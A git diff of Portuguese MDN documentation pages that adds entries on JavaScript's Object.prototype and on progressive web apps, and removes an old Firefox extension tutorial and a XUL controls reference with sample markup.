Suporte básico{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FuncionalidadeAndroidChrome para AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Suporte básico{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Ver também

+ + diff --git a/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html b/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html new file mode 100644 index 0000000000..411832665a --- /dev/null +++ b/files/pt-pt/conflicting/web/javascript/reference/global_objects/object/index.html @@ -0,0 +1,199 @@ +--- +title: Object.prototype +slug: Web/JavaScript/Reference/Global_Objects/Object/prototype +tags: + - JavaScript + - Object + - Objeto + - Propriedade +translation_of: Web/JavaScript/Reference/Global_Objects/Object +translation_of_original: Web/JavaScript/Reference/Global_Objects/Object/prototype +--- +
{{JSRef}}
+ +

A propriedade Object.prototype representa o prototype object {{jsxref("Object","Objeto")}} .

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Descrição

+ +

Nearly all objects in JavaScript are instances of {{jsxref("Object")}}; a typical object inherits properties (including methods) from Object.prototype, although these properties may be shadowed (a.k.a. overridden). However, an Object may be deliberately created for which this is not true (e.g. by {{jsxref("Object.create", "Object.create(null)")}}), or it may be altered so that this is no longer true (e.g. with {{jsxref("Object.setPrototypeOf")}}).

+ +

Changes to the Object prototype object are seen by all objects through prototype chaining, unless the properties and methods subject to those changes are overridden further along the prototype chain.  This provides a very powerful although potentially dangerous mechanism to override or extend object behavior.

+ +

Propriedades

+ +
+
{{jsxref("Object.prototype.constructor")}}
+
Specifies the function that creates an object's prototype.
+
{{jsxref("Object.prototype.__proto__")}} {{non-standard_inline}}
+
Points to the object which was used as prototype when the object was instantiated.
+
{{jsxref("Object.prototype.__noSuchMethod__")}} {{non-standard_inline}}
+
Allows a function to be defined that will be executed when an undefined object member is called as a method.
+
{{jsxref("Object.prototype.count","Object.prototype.__count__")}} {{obsolete_inline}}
+
Used to return the number of enumerable properties directly on a user-defined object, but has been removed.
+
{{jsxref("Object.prototype.parent","Object.prototype.__parent__")}} {{obsolete_inline}}
+
Used to point to an object's context, but has been removed.
+
+ +

Métodos

+ +
+
{{jsxref("Object.prototype.__defineGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Associates a function with a property that, when accessed, executes that function and returns its return value.
+
{{jsxref("Object.prototype.__defineSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Associates a function with a property that, when set, executes that function which modifies the property.
+
{{jsxref("Object.prototype.__lookupGetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Returns the function associated with the specified property by the {{jsxref("Object.prototype.__defineGetter__()", "__defineGetter__()")}} method.
+
{{jsxref("Object.prototype.__lookupSetter__()")}} {{non-standard_inline}} {{deprecated_inline}}
+
Returns the function associated with the specified property by the {{jsxref("Object.prototype.__defineSetter__()", "__defineSetter__()")}} method.
+
{{jsxref("Object.prototype.hasOwnProperty()")}}
+
Returns a boolean indicating whether an object contains the specified property as a direct property of that object and not inherited through the prototype chain.
+
{{jsxref("Object.prototype.isPrototypeOf()")}}
+
Returns a boolean indicating whether the object this method is called upon is in the prototype chain of the specified object.
+
{{jsxref("Object.prototype.propertyIsEnumerable()")}}
+
Returns a boolean indicating if the internal ECMAScript [[Enumerable]] attribute is set.
+
{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}
+
Returns string containing the source of an object literal representing the object that this method is called upon; you can use this value to create a new object.
+
{{jsxref("Object.prototype.toLocaleString()")}}
+
Calls {{jsxref("Object.toString", "toString()")}}.
+
{{jsxref("Object.prototype.toString()")}}
+
Returns a string representation of the object.
+
{{jsxref("Object.prototype.unwatch()")}} {{non-standard_inline}}
+
Removes a watchpoint from a property of the object.
+
{{jsxref("Object.prototype.valueOf()")}}
+
Returns the primitive value of the specified object.
+
{{jsxref("Object.prototype.watch()")}} {{non-standard_inline}}
+
Adds a watchpoint to a property of the object.
+
{{jsxref("Object.prototype.eval()")}} {{obsolete_inline}}
+
Used to evaluate a string of JavaScript code in the context of the specified object, but has been removed.
+
+ +

Exemplos

+ +

When altering the behavior of existing Object.prototype methods, consider injecting code by wrapping your extension before or after the existing logic.  For example, this (untested) code will pre-conditionally execute custom logic before the built-in logic or someone else's extension is executed.

+ +

When a function is called, the arguments to the call are held in the array-like "variable" arguments. For example, in the call "myFn(a, b, c)", the arguments within myFn's body will contain 3 array-like elements corresponding to (a, b, c).  When modifying prototypes with hooks, simply pass this & the arguments (the call state) to the current behavior by calling apply() on the function.  This pattern can be used for any prototype, such as Node.prototype, Function.prototype, etc.

+ +
var current = Object.prototype.valueOf;
+
+// Since my property "-prop-value" is cross-cutting and isn't always
+// on the same prototype chain, I want to modify Object.prototype:
+Object.prototype.valueOf = function() {
+  if (this.hasOwnProperty('-prop-value')) {
+    return this['-prop-value'];
+  } else {
+    // It doesn't look like one of my objects, so let's fall back on
+    // the default behavior by reproducing the current behavior as best we can.
+    // The apply behaves like "super" in some other languages.
+    // Even though valueOf() doesn't take arguments, some other hook may.
+    return current.apply(this, arguments);
+  }
+}
+
+ +

Since JavaScript doesn't exactly have sub-class objects, prototype is a useful workaround to make a “base class” object of certain functions that act as objects. For example:

+ +
var Person = function(name) {
+  this.name = name;
+  this.canTalk = true;
+};
+
+Person.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name);
+  }
+};
+
+var Employee = function(name, title) {
+  Person.call(this, name);
+  this.title = title;
+};
+
+Employee.prototype = Object.create(Person.prototype);
+
+Employee.prototype.greet = function() {
+  if (this.canTalk) {
+    console.log('Hi, I am ' + this.name + ', the ' + this.title);
+  }
+};
+
+var Customer = function(name) {
+  Person.call(this, name);
+};
+
+Customer.prototype = Object.create(Person.prototype);
+
+var Mime = function(name) {
+  Person.call(this, name);
+  this.canTalk = false;
+};
+
+Mime.prototype = Object.create(Person.prototype);
+
+var bob = new Employee('Bob', 'Builder');
+var joe = new Customer('Joe');
+var rg = new Employee('Red Green', 'Handyman');
+var mike = new Customer('Mike');
+var mime = new Mime('Mime');
+
+bob.greet();
+// Hi, I am Bob, the Builder
+
+joe.greet();
+// Hi, I am Joe
+
+rg.greet();
+// Hi, I am Red Green, the Handyman
+
+mike.greet();
+// Hi, I am Mike
+
+mime.greet();
+
+ +

Especificações

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EspecificaçãoEstadoComentário
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}} 
+ +

Compatibilidade de navegador

+ +
+ + +

{{Compat("javascript.builtins.Object.prototype")}}

+
+ +

Consultar também

+ + diff --git a/files/pt-pt/conflicting/web/progressive_web_apps/index.html b/files/pt-pt/conflicting/web/progressive_web_apps/index.html new file mode 100644 index 0000000000..712d465d91 --- /dev/null +++ b/files/pt-pt/conflicting/web/progressive_web_apps/index.html @@ -0,0 +1,62 @@ +--- +title: Identificável +slug: Web/Progressive_web_apps/Identificavel +tags: + - Aplicações + - Aplicações da Web modernas + - Aplicações da Web progressivas + - Manifesto + - identificável + - manifesto da Web +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Discoverable +--- +
+
As soon as you publish a new web app, you want the world to know about it. Search engines do ok, but often more control is desired over how your apps are exposed in search results. The new W3C Manifest for a web application can help with this, along with other available features.
+ +
+
+ +

Objetivos eventuais para as aplicações da Web :

+ + + +

Guias principais

+ +

None written as yet; contributions appreciated.

+ +

Tecnologias

+ + + + + + + + + + + + + + + + + + +
TecnologiaDescriçãoResumo de suporteEspecificações mais recentes
Web app manifestDefines features of an app such as name, icon, splash screen, and theme colors, for use in contexts such as app listings and device home screens.Experimental, Supported in Chrome, limited support in Firefox (more detail){{SpecName('Manifest')}}
+ +

Ferramentas

+ +

Add links to useful tools/libraries.

+ +

Consulte também

+ +
+
Open Graph
+
A defacto standard providing a format for specifying similar metadata in the HTML <head> using meta tags. Supported by Facebook and other properties.
+
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html b/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html new file mode 100644 index 0000000000..23bf84f782 --- /dev/null +++ b/files/pt-pt/conflicting/web/progressive_web_apps/responsive/responsive_design_building_blocks/index.html @@ -0,0 +1,156 @@ +--- +title: Desenho responsivo +slug: Web/Progressive_web_apps/Responsivo +tags: + - Aplicações + - Aplicações da Web progressivas + - Desenvolvimento da Web + - Responsivo +translation_of: Web/Progressive_web_apps/Responsive/responsive_design_building_blocks +translation_of_original: Web/Progressive_web_apps/Responsive +--- +
+
As aplicações da Web responsivas utilizam tecnologias, tais como consultas de multimédia e viewport para se certificar que as suas UIs irão enquadrar qualquer fator de forma: pc, telemóvel, tablet, ou que quer que venha a seguir.
+ +
+
+ +

Guias núcleo

+ +
+
The building blocks of responsive design
+
Learn the basics of responsive design, an essential topic for modern app layout.
+
Mobile first
+
Often when creating responsive application layouts, it makes sense to create the mobile layout as the default, and build wider layouts on top.
+
+ +

Tecnologias

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TecnologiaDescriçãoResumo de suporteÚltimas especificações
Media queriesDefines expressions allowing styling to be selectively applied to content depending on viewport size, resolution, orientation, etc.Widespread across modern browsers (more detail)Media Queries Level 4
@viewport/viewport meta tagControls viewport settings, primarily on mobile devices.@viewport: Experimental (more detail)
+ Viewport meta tag: Widespread across modern mobile devices
CSS Device Adaptation Module Level 1
FlexboxA very useful CSS feature for creating flexible, responsive layouts.Widespread across modern browsers (more detail)CSS Flexible Box Layout Module Level 1
+ +

Ferramentas

+ +
+
Modernizr
+
A feature detection library for applying different CSS and JS to your page depending on whether certain CSS/JS features are supported.
+
css3-mediaqueries-js
+
A JavaScript polyfill to add Media Query support to old versions of IE (5+.)
+
+ +

Consulte também

+ +
+
Graphics for responsive sites
+
Ideas to keep in mind when designing graphics for responsive sites and applications.
+
Responsive navigation patterns
+
How do you make a UI that looks and works as great on a smartphone as it does on the desktop? Learn how to design UIs that change to fit your user's screen.
+
+ +
+ + + + + +
diff --git a/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html b/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html new file mode 100644 index 0000000000..6ef841c83f --- /dev/null +++ b/files/pt-pt/conflicting/web/progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a/index.html @@ -0,0 +1,35 @@ +--- +title: Segurança +slug: Web/Progressive_web_apps/Seguro +tags: + - Aplicações + - Aplicações da Web modernas + - Aplicações da Web progressivas + - HTTPS + - Segurança + - Seguro + - Web +translation_of: Web/Progressive_web_apps +translation_of_original: Web/Progressive_web_apps/Safe +--- +
+
A plataforma da Web fornece um mecanismo de entrega seguro que evita a espionagem e garante que o conteúdo não foi adulterado - desde que aproveite o HTTPS e desenvolva as suas aplicações com a segurança em mente.
+ +
+
+ +

Guias principais

+ +

Aidna sem guias principais listados. Contribuições são bem-vindas.

+ +

Tecnologias

+ +

Não são necessárias novas tecnologias — a Web já funciona como isto!

+ +

Ferramentas

+ +

Interligue aqui para quaisquer ferramentas úteis.

+ +

Consulte também

+ +

Interligue aqui outra informação útil.

diff --git "a/files/pt-pt/construir_uma_extens\303\243o/index.html" "b/files/pt-pt/construir_uma_extens\303\243o/index.html" deleted file mode 100644 index b65967fa36..0000000000 --- "a/files/pt-pt/construir_uma_extens\303\243o/index.html" +++ /dev/null @@ -1,227 +0,0 @@ ---- -title: Construir uma Extensão -slug: Construir_uma_Extensão -tags: - - Extensões ---- -

Introdução

-

Este tutorial lhe dará uma visão bem básica dos passos para construir uma extensão - que adiciona um item na barra de status do Firefox contendo o texto "Hello, World!"

-
-

Nota Este tutorial é voltado para o desenvolvimento de extensões para Firefox 1.5 ou 2.0. Existem outros tutoriais para o desenvolvimento extensões para versões mais antigas do Firefox.

-
-

Ajustando o Ambiente de Desenvolvimento

-

As extensões são empacotadas e distribuídas em arquivos ZIP, ou Bundles, arquivos com a extensão xpi (pronunciado “zippy”). A disposição do conteúdo dentro do arquivo XPI é assim:

-
extension.xpi:
-              /install.rdf
-              /components/*
-              /components/cmdline.js
-              /defaults/
-              /defaults/preferences/*.js
-              /plugins/*
-              /chrome/
-              /chrome.manifest
-              /chrome/icons/default/*
-              /chrome/content/
-
-
-

Por isso, é mais fácil dispor seus arquivos de código de uma forma similar, a menos que você queira escrever algum tipo de Makefile ou shell script para empacotar e fechar todos os seus arquivos. Mesmo que esteja preparado para fazer isso, testar é muito mais simples se você dispuser seus arquivos desta maneira, devido a uma característica do Sistema de Add-on proporcionado a partir do Firefox 1.5.

-

Assim, vamos começar. Crie uma pasta para sua extensão em algum lugar do disco rígido, por exemplo C:\extensions\myExtension\ ou ~/extensions/myExtension/. Dentro desta pasta crie outra pasta chamada chrome, e dentro da pasta chrome crie outra pasta chamada content. (Em sistemas como o Unix você pode normalmente criar todos os três diretórios somente rodando mkdir -p chrome/content dentro do diretório root (raiz) da extensão.)

-

Dentro da raiz da sua pasta da extensão, ao lado da pasta chrome, crie dois novos arquivos de texto vazios, um chamado chrome.manifest e outro chamado install.rdf.

-

Mais ajuda no desenvolvimento de extensões pode ser encontrada na página Mozillazine Knowledge Base.

-

Criando o manifesto de instalação

-

Abra o arquivo chamado install.rdf que você criou no topo da pasta da sua extensão e coloque isto nele:

-
<?xml version="1.0"?>
-
-<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
-     xmlns:em="http://www.mozilla.org/2004/em-rdf#">
-
-  <Description about="urn:mozilla:install-manifest">
-    <em:id>sample@example.net</em:id>
-    <em:version>1.0</em:version>
-    <em:type>2</em:type>
-
-    <!-- Target Application this extension can install into,
-         with minimum and maximum supported versions. -->
-    <em:targetApplication>
-      <Description>
-        <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
-        <em:minVersion>1.5</em:minVersion>
-        <em:maxVersion>2.0.0.*</em:maxVersion>
-      </Description>
-    </em:targetApplication>
-
-    <!-- Front End MetaData -->
-    <em:name>Amostra!</em:name>
-    <em:description>Uma extensão de teste</em:description>
-    <em:creator>Seu Nome Aqui</em:creator>
-    <em:homepageURL>http://www.foo.com/</em:homepageURL>
-  </Description>
-</RDF>
-
- -

Extensões desenhadas para trabalhar com o Firefox 1.5.0.x devem ser colocadas no máximo com a versão "1.5.0.*".

-

Veja Install Manifests para uma lista completa das propriedades requeridas e opcionais.

-

Salve o arquivo.

-

Estendendo o navegador com XUL

-

A interface do usuário do Firefox é escrita em XUL e JavaScript. XUL é uma gramática XML que proporciona widgets como botões, menus, barras de ferramentas, árvores, etc. As ações do usuário são limitadas à funcionalidade usando JavaScript.

-

Para extender o navegador, nós modificamos partes da UI do navegador adicionando ou modificando widgets. Nós adicionamos widgets inserindo novos elementos DOM XUL na janela do navegador, e os modificamos utilizando scripts e anexando manipuladores de evento.

-

O navegador é implementado por um arquivo XUL chamado browser.xul ($FIREFOX_INSTALL_DIR/chrome/browser.jar que contém content/browser/browser.xul). Em browser.xul nós podemos encontrar a barra de status, semelhante a isso:

-
<statusbar id="status-bar">
- ... <statusbarpanel>s ...
-</statusbar>
-
-

<statusbar id="status-bar"> é o "ponto de fusão" para a sobreposição XUL (XUL Overlay).

-
Sobreposição (overlay) XUL
-

XUL Overlays é um modo de anexar outras widgets da UI a um documento XUL durante a execução. Um Overlay XUL é um arquivo .xul que especifica fragmentos de XUL para inserir em pontos específicos de junção dentro de um documento "master". Estes fragmentos podem especificar widgets para serem inseridas, removidas ou modificadas.

-

Exemplo de Documento de Sobreposição XUL

-
<?xml version="1.0"?>
-<overlay id="sample"
-         xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
- <statusbar id="status-bar">
-  <statusbarpanel id="my-panel" label="Hello, World"/>
- </statusbar>
-</overlay>
-
-

A <statusbar> chamada status-bar especifica o "ponto de junção" dentro da janela do navegador a que nós queremos anexar.

-

O sub-item de <statusbarpanel> é um novo widget que nós queremos para inserir dentro do ponto de junção.

-

Pegue esta amostra de código acima e salve-a em um arquivo chamado sample.xul dentro da pasta chrome/content que você criou.

-

Para mais informaçõs sobre junção de widgets e modificação da interface de usuário usando Overlays, veja abaixo.

-

URLs Chrome

-

Arquivos XUL são parte do "Chrome Packages" - pacotes dos componentes da interface de usuário que são carregados via URLs chrome://. Melhor que carregar o navegador pelo disco usando um URL file:// (a localização do Firefox no sistema pode mudar de plataforma para plataforma e sistema para sistema), desenvolvedores Mozilla surgiram com uma solução para criar URLs para conteúdo XUL em que a aplicação instalada sabe como fazer.

-

A janela do navegador é: chrome://browser/content/browser.xul. Tente digitar esta URL na barra de localização do Firefox!

-

Chrome URLs consistem em diversos componentes:

- -

Então, chrome://foo/skin/bar.png carrega o arquivo bar.png do tema de foo na seção skin.

-

Quando você carrega conteúdo usando um Chrome URL, Firefox usa o Registro Chrome para traduzir estas URLs no atual arquivo de código no disco (ou em pacotes JAR).

-

Criando um Manifesto Chrome

-

Para mais informações sobre Manifestos Chrome e as propriedades que eles suportam, veja a referência Chrome Manifest.

-

Abra o arquivo chamado chrome.manifest que você criou ao lado do diretório chrome na raiz da pasta de código da sua extensão.

-

Adicione este código:

-
content     sample    chrome/content/
-
-

(Não se esqueça da barra, "/"! Sem ela, a extensão não será registrada.) Nota: Tenha certeza de ter digitado tudo em letras minúsculas para o nome do pacote ("sample") no Firefox/Thunderbird 1.5 não há suporte à letras maiúsculas. Aparentemente haverá na versão 2.

-

Isto especifica o:

-
    -
  1. tipo do material dentro do pacote chrome
  2. -
  3. nome do pacote chrome
  4. -
  5. localização dos arquivos do pacote chrome
  6. -
-

Então, esta linha diz que para o pacote chrome sample, nós podemos achar estes arquivos content (de conteúdo) na localização chrome/content onde está o caminho relativo à localização do chrome.manifest.

-

Note que os arquivos de conteúdo, localização e pele precisam estar no interior das pastas chamadas content (conteúdo), locale (localização) e skin (pele) dentro do subdiretório chrome.

-

Salve o arquivo. Quando você rodar o Firefox com sua extensão, (depois neste tutorial), isto irá registrar o pacote chrome.

-

Registrando uma Sobreposição

-

Você precisa do Firefox para fundir da sua sobreposição com a janela do navegador sempre que ela for exibida. Então adicione esta linha ao seu arquivo chrome.manifest:

-
overlay chrome://browser/content/browser.xul chrome://sample/content/sample.xul
-
-

Isto dirá ao Firefox para fundir sample.xul em browser.xul quando browser.xul for carregado.

-

Teste

-

Primeiro, nós precisamos falar ao Firefox sobre a sua extensão. Nos velhos e maus dias do Firefox 1.0, isto significava empacotar sua extensão como um XPI e instalar através da interface de usuário, na qual havia uma dificuldade real. Agora é muito mais simples.

-
    -
  1. Abra sua Profile Folder
  2. -
  3. Abra a pasta extensions (crie-a se ela não existir)
  4. -
  5. Crie um novo arquivo de texto, e coloque o caminho para a pasta da extensão dentro, e.g. C:\extensions\myExtension\ ou ~/extensions/myExtension. Salve o arquivo com o id da sua extensão como seu nome, e.g. sample@foo.net.
  6. -
-

Agora você está pronto para testar sua extensão!

-

Inicie o Firefox. O Firefox irá detectar o link para o diretório da sua extensão e instalará a extensão. Quando a janela do navegador aparecer você poderá ver o texto "Hello, World!" ao lado direito do painel da barra de estado.

-

Você pode agora retornar e fazer mudanças no arquivo .xul, fechar e reiniciar o Firefox, e elas aparecerão. Isto realmente não combina com a extensão descrita e confunde as pessoas. -Nickolay CENTER> Image:Helloworld_tools_menu.PNG Image:Helloworld_extensions_wnd.PNG </CENTER

-

Pacote

-

Agora que sua extensão trabalha, você pode empacotá-la (package) para distribuição e instalação.

-

Empacote o conteúdo da pasta da extensão (não a pasta da extensão), e renomeie o arquivo empacotado para ter uma extensão .xpi. No Windows XP, você pode fazer isto facilmente selecionando todos os arquivos e sub pastas na pasta da sua extensão, com um clique do botão direito e a escolha "Enviar para -> Pasta Comprimida". Um arquivo .zip será criado para você. Somente renomeie-o e pronto!

-

No Mac OS X, você pode com um clique do botão direito sobre a pasta da extensão escolher "Criar Arquivo de..." para fazer o arquivo .zip. No entanto, desde que o Mac OS X adiciona arquivos escondidos à pastas para ordenar os metadados do arquivo, você deve em vez disso usar o Terminal, deletar os arquivos escondidos (cujos nomes começam com um período), e então usar o comando zip na linha de comando para criar o arquivo .zip.

-

No Linux, você pode do mesmo modo usar a ferramenta Zip pela linha de comando.

-

Se você tem a extensão 'Extension Builder' instalada ela pode compilar o arquivo .xpi para você (Ferramentas -> Desenvolvimento de Extensões -> Construtor de Extensões). Meramente navegue até o diretório onde sua extensão está (install.rdf etc.), e clique no botão Construir Extensão. Esta extensão possui várias ferramentas para tornar o desenvolvimento mais fácil.

-

Agora atualize o arquivo .xpi no seu servidor, assegurando-se que ele serve como application/x-xpinstall. Você pode ligar para isto e permitir as pessoas baixarem e instalarem-na no Firefox. Para os propósitos de somente testar nosso arquivo .xpi nós podemos apenas arrastá-lo até a janela de extensões via Ferramentas -> Complementos -> Extensões.

-
Usando addons.mozilla.org
-

Mozilla Update é um site de distribuição onde você pode hospedar sua extensão de graça. Sua extensão irá ser hospedada na rede de espelho Mozilla para garantir seu download mesmo quando se tornar mais popular. O site Mozilla também proporciona aos usuários uma instalação simples, e colocará automaticamente suas versões mais novas disponíveis para os usuários das suas versões já existentes quando você atualizá-las. Em adição o Mozilla Update permite aos usuários comentar e proporcionar avaliações da sua extensão. Isto é altamente recomendado se você usa o Mozilla Update para distribuir suas extensões!

-

Visite http://addons.mozilla.org/developers/ para criar uma conta e começar a distribuir suas extensões!

-

Nota: Sua extensão será passada rapidamente e mais baixada, se você tiver uma boa descrição e algumas fotos da extensão em ação.

-
Registrando Extensões no Registro do Windows
-

No Windows, informação sobre extensões pode ser adicionada ao registro, e as extensões serão automaticamente "colhidas" na próxima vez que a aplicação iniciar. Isto permite que os instaladores de aplicação adicionem facilmente os ganchos de integração como extensões. Veja Adding Extensions using the Windows Registry para mais informações.

-

Mais sobre Sobreposições XUL

-

Além de adicionar widgets UI ao ponto de fusão, você pode usar fragmentos XUL dentro da sobreposição para:

- -
<statusbarpanel position="1" .../>
-
-<statusbarpanel insertbefore="other-id" .../>
-
-<statusbarpanel insertafter="other-id" .../>
-
-

Criando Novos Componentes na Interface de Usuário

-

Você pode criar suas próprias janelas e caixas de diálogo em arquivos .xul separados, proporcionar funcionalidades pela implementação de ações de usuário em arquivos .js, usando métodos DOM para manipular widgets UI. Você pode usar regras de estilo em arquivos .css para anexar imagens, configurar cores, etc.

-

Veja a documentação XUL para mais recursos para desenvolvedores XUL.

-

Arquivos Padrão

-

Arquivos padrão que você usa para escalar um perfil de usuário que deve ser colocado em defaults/ sob a raiz da pasta da sua extensão. Preferências padrão em arquivos .js devem ser armazenadas em defaults/preferences/ — quando você as coloca aqui elas são automaticamente carregadas pelas preferências do sistema do Firefox quando ele é iniciado, então você pode acessá-las usando o Preferences API.

-

Componentes XPCOM

-

O Firefox suporta componentes XPCOM nas extensões. Você pode criar seus próprios componentes facilmente em JavaScript ou em C++ (usando o Gecko SDK).

-

Coloque todos os seus arquivos .js ou .dll no diretório components — eles são automaticamente registrados na primeira vez que o Firefox rodar depois que sua extensão for instalada.

-

Para mais informações, veja os livros How to Build an XPCOM Component in Javascript e Creating XPCOM Components.

-
Aplicação de Linha de Comando
-

Um dos possíveis usos dos componentes customizados XPCOM é adicionar um manipulador de linha de comando para o Firefox ou Thunderbird. Você pode usar esta técnica para rodar sua extensão como uma aplicação:

-
 firefox.exe -myapp
-
-

Devo mover as partes úteis disto para a página Command Line. -Nickolay Isto é feito adicionando um componente que contém a função... function NSGetModule(comMgr, fileSpec) { return myAppHandlerModule; } Esta função roda pelo Firefox cada vez que ele é iniciado. O Firefox registra o myAppHandlerModule's chamando-o 'registerSelf()'. Então isto obtém a fábrica de manipulador myAppHandlerModule's via 'getClassObject()'. A fábrica de manipulador é usada para criar a manipulação usando isto 'createInstance(). Finalmente, a manipulação 'handle(cmdline)' processa a linha de comando cmdline's handleFlagWithParam() e handleFlag(). Veja Chrome: Command Line e a discussão no fórum para detalhes (em inglês).

-

Localização

-

Para suportar mais que uma linguagem, você deve separar as strings do seu conteúdo usando entities e string bundles. É muito mais fácil fazer isto se você estiver desenvolvendo sua extensão do que retornar fazer isto mais tarde!

-

Informação de localização é armazenada no diretório local (locale) da extensão. Por exemplo, para adicionar um local à nossa extensão de amostra, crie um diretório chamado "locale" em chrome (onde o diretório "content está localizado) e adicione a linha seguinte ao arquivo chrome.manifest:

-
locale sample sampleLocale chrome/locale/
-
-

Para criar valores atributos localizáveis em XUL, você colocar os valores em um arquivo .ent (ou um .dtd), o qual deve ser colocado no diretório locale e ser como este:

-
<!ENTITY  button.label     "Click Me!">
-<!ENTITY  button.accesskey "C">
-
-

E depois incluí-lo no topo do seu documento XUL (mas embaixo de '<?xml version"1.0"?>') assim:

-
<!DOCTYPE window SYSTEM "chrome://packagename/locale/filename.ent">
-
-

Onde window é o valor localName do elemento raiz do documento XUL, e o valor da propriedade SYSTEM é o chrome URL para o arquivo de entidade. Para a nossa extensão de amostra, o elemento raiz é overlay.

-

Para usar as entidades, modifique seu XUL para isto:

-
<button label="&button.label;" accesskey="&button.accesskey;"/>
-
-

O Registro Chrome assegurará que o arquivo da entidade seja carregado do pacote de localização correspondente ao local selecionado.

-

Para strings que você usa no script, crie um arquivo .properties, um arquivo de texto que tem uma string em cada linha, neste formato:

-
key=value
-
-

e então use as etiquetas en:nsIStringBundleService/en:nsIStringBundle ou <stringbundle> para carregar os valores dentro do script.

-

Entendendo o navegador

-

Use o DOM Inspector (não é parte da instalação padrão do Firefox, você precisa reinstalá-lo pelo caminho da instalação customizada e escolher Ferramentas de Desenvolvedor se não houver um item "DOM Inspector" no menu de Ferramentas do seu navegador) para inspecionar a janela do navegador ou qualquer outra janela XUL que você precisar extendê-la.

-

Use o botão esquerdo do mouse para achar o nó no topo esquerdo da barra de ferramentas do DOM Inspector, clicando em um nó ele é selecionado e exibe o XUL na janela ao lado. Quando você faz isto a visão da árvore de hierarquia do DOM Inspector irá pular para o nó que você clicou.

-

Use o painel do lado direito do DOM Inspector para descobrir pontos de fusão com ids que você pode usar para inserir seus elementos de sobreposição. Se você não pode descobrir um elemento com um id que você pode fundir, você pode necessitar anexar um script em sua sobreposição e inserir seus elementos quando o evento load for exibido na janela mestre XUL.

-

Depurando extensões

-

Ferramentas Analíticas para Depurar

- -

Depuração printf

- -

Depuração avançada

- -

Começo rápido

-

Você pode usar a ferramenta online Extension Wizard para gerar uma simples extensão para trabalhar junto.

-

Um Hello World extension similar ao que você pode gerar com o Extension Wizard é explicado linha por linha em outro tutorial do MozillaZine Knowledge Base.

-

Informações adicionais

- diff --git a/files/pt-pt/controles_xul/index.html b/files/pt-pt/controles_xul/index.html deleted file mode 100644 index f4d43f4228..0000000000 --- a/files/pt-pt/controles_xul/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: Controles XUL -slug: Controles_XUL -tags: - - PrecisaDeRevisãoEditorial - - Todas_as_Categorias - - XUL ---- -

A tabela a seguir lista todas as interfaces providas pelo XUL. Veja o Tutorial XUL para um guia passo-a-passo de como elas são utilizadas e a Referência XUL para uma referência rápida.

- -
<button>

Um botão que pode ser pressionado pelo usuário.

-<button label="Save" accesskey="S"/>
-
Image:Controlsguide-button.png
<button type="menu">

A button that has a drop down menu attached to it. Pressing the button opens the menu.

-<button type="menu" label="View">
-  <menupopup>
-    <menuitem label="List"/>
-    <menuitem label="Details"/>
-  </menupopup>
-</button>
-
Image:Controlsguide-button-menu.png
<button type="menu-button">

A button that that has a separate arrow button with a menu attached to it. Unlike with the 'menu' type, a separate action may be performed when the main part of the button is pressed.

-<button type="menu-button" label="New">
-  <menupopup>
-    <menuitem label="New Document"/>
-    <menuitem label="New Image"/>
-  </menupopup>
-</button>
-
Image:Controlsguide-button-menubutton.png
<checkbox>

A control that may be turned on and off, typically used to create options which may be enabled or disabled.

-<checkbox label="Show Toolbar Labels" checked="true"/>
-
Image:Controlsguide-checkbox.png
<colorpicker>

A control that may be used to select a color.

-<colorpicker color="#FF0000"/>
-
Image:Controlsguide-colorpicker.png
<colorpicker type="button">

A specialized type of color picker which shows only a button but when pressed, a popup will be displayed to select a color from.

-<colorpicker type="button" color="#CC0080"/>
-
Image:Controlsguide-colorpicker-button.png
<datepicker>

New in Mozilla 1.9 / Firefox 3

A set of textboxes which may be used to allow the entry of a date.

-<datepicker value="2007/03/26"/>
-
Image:Controlsguide-datepicker.png
<datepicker type="grid">

New in Mozilla 1.9 / Firefox 3

A datepicker which displays a calendar grid for selecting a date.

-<datepicker type="grid" value="2007/02/20"/>
-
Image:Controlsguide-datepicker-grid.png
<datepicker type="popup" >

New in Mozilla 1.9 / Firefox 3

A datepicker which displays a set of textboxes for date entry, but also has a button for displaying a popup calendar grid.

-<datepicker type="popup" value="2008/08/24"/>
-
 
<description>

The description element is used to for descriptive text.

-<description>
-  Select a time for the event to start
-</description>
-
Image:Controlguide-description.png
<groupbox>

A groupbox displays a labelled box around other user interface controls.

-<groupbox>
-  <caption label="Network"/>
-</groupbox>
-
Image:Controlguide-groupbox.png
<image>

An image specified by a URL.

